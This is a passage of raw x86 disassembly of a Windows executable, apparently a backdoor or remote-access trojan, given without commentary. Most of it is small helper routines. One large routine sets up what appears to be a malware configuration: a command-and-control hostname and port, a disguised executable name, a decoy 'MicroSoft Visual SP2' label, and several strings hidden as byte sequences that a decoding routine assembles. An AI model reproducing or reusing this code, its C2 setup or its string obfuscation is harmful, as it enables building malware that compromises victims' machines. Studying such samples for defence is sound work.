; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407080	proc near		; CODE XREF: sub_4020BDj

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_407080
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	eax, [esp+18h+var_11]
		lea	ecx, [esi+32h]
		push	eax
		mov	[esp+1Ch+var_4], 0
		call	sub_40156E
sub_407080	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	dword ptr [esi], offset	off_43F00C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407100	proc near		; CODE XREF: sub_40159Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_4015E1
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_8]
		lea	eax, [esp+4+arg_0]
		mov	[edx+2Ah], ecx
		push	eax
		lea	ecx, [esi+32h]
		call	sub_4014EC
sub_407100	endp

; ---------------------------------------------------------------------------
		pop	esi
		retn	0Ch
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407140	proc near		; CODE XREF: sub_401B04j

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_401AD7
		add	esi, 32h
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_40162C
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_4021DF
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40184D
		test	al, al
		jz	short loc_4071BB
		mov	edi, [esp+10h+arg_0]


loc_407183:				; CODE XREF: sub_407140+79j
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_401749
		mov	ecx, [eax]
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_4071C5
		call	sub_401F28
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_4021DF
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40184D
		test	al, al
		jnz	short loc_407183


loc_4071BB:				; CODE XREF: sub_407140+3Dj
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_4071C5:				; CODE XREF: sub_407140+5Aj
		call	sub_401749
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_407140	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407210	proc near		; CODE XREF: sub_40221Bj
		xor	al, al
		retn	4
sub_407210	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407230	proc near		; CODE XREF: sub_40156Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_40119F
sub_407230	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407270	proc near		; CODE XREF: sub_40162Cj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_401A96
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_4021A8
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_407270	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4072B0	proc near		; CODE XREF: sub_4021DFj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_4021A8
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_4072B0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4072E0	proc near		; CODE XREF: sub_4014ECj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4021DF
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4013B6
sub_4072E0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407320	proc near		; CODE XREF: sub_401AD7j
		push	esi
		mov	esi, ecx
		call	sub_401B77
		mov	eax, esi
		pop	esi
		retn
sub_407320	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407340	proc near		; CODE XREF: sub_401749j
		mov	eax, [ecx]
		push	eax
		call	sub_401208
		add	esp, 4
		retn
sub_407340	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407360	proc near		; CODE XREF: sub_401F28j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401A96
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_407360	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407390	proc near		; CODE XREF: sub_40184Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401FBE
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_407390	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4073C0	proc near		; CODE XREF: sub_4013B6j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401C9E
		mov	edi, eax
		push	edi
		call	sub_401C6C
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40119F
sub_4073C0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401C6C
		push	edi
		mov	[eax], ebx
		call	sub_401C6C
		mov	edi, [eax]
		push	edi
		call	sub_401C6C
		mov	ecx, [eax]
		push	ecx
		call	sub_401A96
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401208
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_40167C
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_4021A8
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407460	proc near		; CODE XREF: sub_40119Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4019D8
sub_407460	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_407475
		mov	edi, esi


loc_407475:				; CODE XREF: ___:00407471j
		push	esi
		call	sub_401A96
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_40748A
		mov	edi, esi


loc_40748A:				; CODE XREF: ___:00407486j
		push	esi
		call	sub_401C6C
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074B0	proc near		; CODE XREF: sub_401A96j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_4074B0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074D0	proc near		; CODE XREF: sub_401208j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_4074D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074F0	proc near		; CODE XREF: sub_401B77j
		mov	eax, ecx
		retn
sub_4074F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407510	proc near		; CODE XREF: sub_4021A8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4011E5
		mov	eax, esi
		pop	esi
		retn	4
sub_407510	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407540	proc near		; CODE XREF: sub_401FBEj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_407540	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407570	proc near		; CODE XREF: sub_401C6Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_407570	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407590	proc near		; CODE XREF: sub_4019D8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_407590	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4075C0	proc near		; CODE XREF: sub_40167Cj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40109B
		add	esp, 8
		retn	8
sub_4075C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4075F0	proc near		; CODE XREF: sub_4011E5j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4075F0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407610	proc near		; CODE XREF: sub_401C9Ej
		mov	eax, [ecx]
		retn
sub_407610	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407630	proc near		; CODE XREF: sub_401D2Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_40763A
		xor	eax, eax


loc_40763A:				; CODE XREF: sub_407630+6j
		push	eax
		call	sub_437AEA
sub_407630	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407660	proc near		; CODE XREF: sub_40109Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40767B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40767B:				; CODE XREF: sub_407660+11j
		retn
sub_407660	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407690	proc near		; CODE XREF: sub_4011CCj

arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		retn
sub_407690	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4076B0	proc near		; CODE XREF: sub_401B40j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4076B0
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_4]
		mov	[esp+1Ch+var_4], 0
		call	sub_4017EE
		push	eax
		mov	eax, [esp+20h+arg_0]
		push	0
		push	eax
		mov	ecx, offset word_44ACD6
		call	sub_401B72
sub_4076B0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+8], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	1Ch
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407740	proc near		; CODE XREF: sub_401CD5j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_407740
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_1C]
		mov	[esp+1Ch+var_4], 1
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+20h+arg_4]
		call	sub_4017EE
		push	eax
		mov	eax, [esp+24h+arg_0]
		push	eax
		mov	ecx, offset word_44ACD6
		call	sub_401B72
sub_407740	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+8], 0
		call	sub_401226
		lea	ecx, [esp+2Ch]
		mov	dword ptr [esp+8], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	34h
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4077E0	proc near		; CODE XREF: sub_40121Cj

var_350		= dword	ptr -350h
var_34C		= dword	ptr -34Ch
var_348		= byte ptr -348h
var_330		= byte ptr -330h
var_318		= byte ptr -318h
var_2F4		= byte ptr -2F4h
var_2DC		= byte ptr -2DCh
var_2C4		= byte ptr -2C4h
var_2AC		= byte ptr -2ACh
var_294		= byte ptr -294h
var_27C		= byte ptr -27Ch
var_264		= byte ptr -264h
var_24C		= byte ptr -24Ch
var_234		= byte ptr -234h
var_21C		= byte ptr -21Ch
var_204		= byte ptr -204h
var_1EC		= byte ptr -1ECh
var_1D4		= byte ptr -1D4h
var_1BC		= byte ptr -1BCh
var_1A4		= byte ptr -1A4h
var_18C		= byte ptr -18Ch
var_174		= byte ptr -174h
var_15C		= byte ptr -15Ch
var_144		= byte ptr -144h
var_114		= byte ptr -114h
var_E4		= byte ptr -0E4h
var_CC		= byte ptr -0CCh
var_B4		= byte ptr -0B4h
var_9C		= byte ptr -9Ch
var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4077E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 344h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+35Ch+var_2C4]
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_2DC]
		mov	[esp+35Ch+var_4], 0
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_174]
		mov	byte ptr [esp+35Ch+var_4], 1
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_1A4]
		mov	byte ptr [esp+35Ch+var_4], 2
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_2AC]
		mov	byte ptr [esp+35Ch+var_4], 3
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_2F4]
		mov	byte ptr [esp+35Ch+var_4], 4
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_1D4]
		mov	byte ptr [esp+35Ch+var_4], 5
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_204]
		mov	byte ptr [esp+35Ch+var_4], 6
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_294]
		mov	byte ptr [esp+35Ch+var_4], 7
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_24]
		mov	byte ptr [esp+35Ch+var_4], 8
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_54]
		mov	byte ptr [esp+35Ch+var_4], 9
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_84]
		mov	byte ptr [esp+35Ch+var_4], 0Ah
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_3C]
		mov	byte ptr [esp+35Ch+var_4], 0Bh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_6C]
		mov	byte ptr [esp+35Ch+var_4], 0Ch
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_234]
		mov	byte ptr [esp+35Ch+var_4], 0Dh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_264]
		mov	byte ptr [esp+35Ch+var_4], 0Eh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_E4]
		mov	byte ptr [esp+35Ch+var_4], 0Fh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_15C]
		mov	byte ptr [esp+35Ch+var_4], 10h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_114]
		mov	byte ptr [esp+35Ch+var_4], 11h
		call	sub_40142E
		mov	byte ptr [esp+35Ch+var_4], 12h
		lea	ecx, [esp+35Ch+var_18C]
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_144]
		mov	byte ptr [esp+35Ch+var_4], 13h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_1BC]
		mov	byte ptr [esp+35Ch+var_4], 14h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_27C]
		mov	byte ptr [esp+35Ch+var_4], 15h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_1EC]
		mov	byte ptr [esp+35Ch+var_4], 16h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_CC]
		mov	byte ptr [esp+35Ch+var_4], 17h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_21C]
		mov	byte ptr [esp+35Ch+var_4], 18h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_B4]
		mov	byte ptr [esp+35Ch+var_4], 19h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_9C]
		mov	byte ptr [esp+35Ch+var_4], 1Ah
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_24C]
		mov	byte ptr [esp+35Ch+var_4], 1Bh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_330]
		mov	byte ptr [esp+35Ch+var_4], 1Ch
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_318]
		mov	byte ptr [esp+35Ch+var_4], 1Dh
		call	sub_40142E
		mov	ebx, 1Eh
		push	offset aGx_arabhell_ne ; "Gx.arabhell.net"
		lea	ecx, [esp+360h+var_2C4]
		mov	byte ptr [esp+360h+var_4], bl
		call	sub_401A9B
		push	offset a6701	; "6701"
		lea	ecx, [esp+360h+var_2DC]
		call	sub_401A9B
		push	offset byte_448F30
		lea	ecx, [esp+360h+var_144]
		call	sub_401A9B
		lea	eax, [esp+35Ch+var_2C4]
		lea	ecx, [esp+35Ch+var_174]
		push	eax
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_2DC]
		push	ecx
		lea	ecx, [esp+360h+var_1A4]
		call	sub_40202C
		push	offset byte_448F30
		lea	ecx, [esp+360h+var_1BC]
		call	sub_401A9B
		push	offset aM_0	; "##m##"
		lea	ecx, [esp+360h+var_2AC]
		call	sub_401A9B
		push	offset aM	; "##m"
		lea	ecx, [esp+360h+var_24C]
		call	sub_401A9B
		push	offset aXkey	; "Xkey"
		lea	ecx, [esp+360h+var_2F4]
		call	sub_401A9B
		push	offset aIgfsfdfsd32_ex ; "igfsfdfsd32.exe"
		lea	ecx, [esp+360h+var_1D4]
		call	sub_401A9B
		push	offset aAyssds4ddklfsd ; "ayssds4ddklfsdf"
		lea	ecx, [esp+360h+var_204]
		call	sub_401A9B
		push	offset asc_444834 ; "X-"
		lea	ecx, [esp+360h+var_294]
		call	sub_401A9B
		push	offset aSet	; "set"
		lea	ecx, [esp+360h+var_234]
		call	sub_401A9B
		push	0
		push	4Ah
		push	20h
		push	48h
		push	1Ch
		push	4Bh
		push	46h
		push	4Ah
		push	46h
		push	47h
		push	4Ch
		push	1Fh
		push	48h
		push	1Fh
		push	ebx
		push	1Bh
		push	1Dh
		push	47h
		push	4Bh
		push	47h
		push	ebx
		push	45h
		push	46h
		push	4Ah
		push	48h
		push	ebx
		push	1Dh
		push	1Ch
		push	4Ah
		push	20h
		push	4Ch
		push	4Dh
		lea	edx, [esp+3DCh+var_348]
		push	44h
		push	edx
		call	sub_4019C4
		add	esp, 88h
		push	eax
		lea	ecx, [esp+360h+var_264]
		mov	byte ptr [esp+360h+var_4], 1Fh
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	offset aFeeling_nasty ;	"feeling.nasty"
		lea	ecx, [esp+360h+var_E4]
		call	sub_401A9B
		push	offset aEvil	; "evil"
		lea	ecx, [esp+360h+var_15C]
		call	sub_401A9B
		push	offset aMicrosoftVisua ; "MicroSoft Visual SP2"
		lea	ecx, [esp+360h+var_114]
		call	sub_401A9B
		push	offset dword_4447F8
		lea	ecx, [esp+360h+var_27C]
		call	sub_401A9B
		push	0
		push	4Bh
		push	48h
		push	4Ah
		push	47h
		push	4Ch
		push	48h
		push	4Bh
		push	48h
		push	45h
		lea	eax, [esp+384h+var_348]
		push	46h
		push	eax
		call	sub_4019C4
		add	esp, 30h
		push	eax
		lea	ecx, [esp+360h+var_18C]
		mov	byte ptr [esp+360h+var_4], 20h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	0Dh
		push	0Fh
		push	3
		push	4Fh
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	0Dh
		push	4Fh
		push	46h
		push	47h
		push	0Dh
		push	5
		push	14h
		push	13h
		push	19h
		lea	ecx, [esp+3B4h+var_348]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 60h
		push	eax
		lea	ecx, [esp+360h+var_1EC]
		mov	byte ptr [esp+360h+var_4], 21h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	edx, [esp+36Ch+var_348]
		push	45h
		push	edx
		call	sub_4019C4
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_CC]
		mov	byte ptr [esp+360h+var_4], 22h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	eax, [esp+36Ch+var_348]
		push	45h
		push	eax
		call	sub_4019C4
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_B4]
		mov	byte ptr [esp+360h+var_4], 23h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	44h
		push	49h
		push	46h
		lea	ecx, [esp+36Ch+var_348]
		push	ecx
		call	sub_4019C4
		add	esp, 14h
		push	eax
		lea	ecx, [esp+360h+var_21C]
		mov	byte ptr [esp+360h+var_4], 24h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	edx, [esp+36Ch+var_348]
		push	45h
		push	edx
		call	sub_4019C4
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_9C]
		mov	byte ptr [esp+360h+var_4], 25h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	15h
		push	12h
		lea	eax, [esp+36Ch+var_348]
		push	14h
		push	eax
		call	sub_4019C4
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_330]
		mov	byte ptr [esp+360h+var_4], 26h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	13h
		push	0Ch
		push	1
		lea	ecx, [esp+370h+var_348]
		push	6
		push	ecx
		call	sub_4019C4
		add	esp, 1Ch
		push	eax
		lea	ecx, [esp+360h+var_318]
		mov	byte ptr [esp+360h+var_4], 27h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		lea	ecx, [esp+35Ch+var_2F4]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+374h+var_34C], esp
		push	eax
		call	sub_401870
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		push	1
		push	8
		mov	byte ptr [esp+394h+var_4], 28h
		push	3
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+3D0h+var_348]
		push	13h
		push	edx
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+374h+var_4], 29h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+38Ch+var_350], esp
		push	eax
		call	sub_401870
		lea	eax, [esi+0FECh]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+390h+var_4], 2Ah
		call	sub_401CD5
sub_4077E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0B0h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	0Eh
		push	1
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3D4h], 2Bh
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 2Ch
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+1035h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 2Dh
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+80h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	14h
		push	12h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+78h]
		push	13h
		push	eax
		mov	byte ptr [esp+3C4h], 2Eh
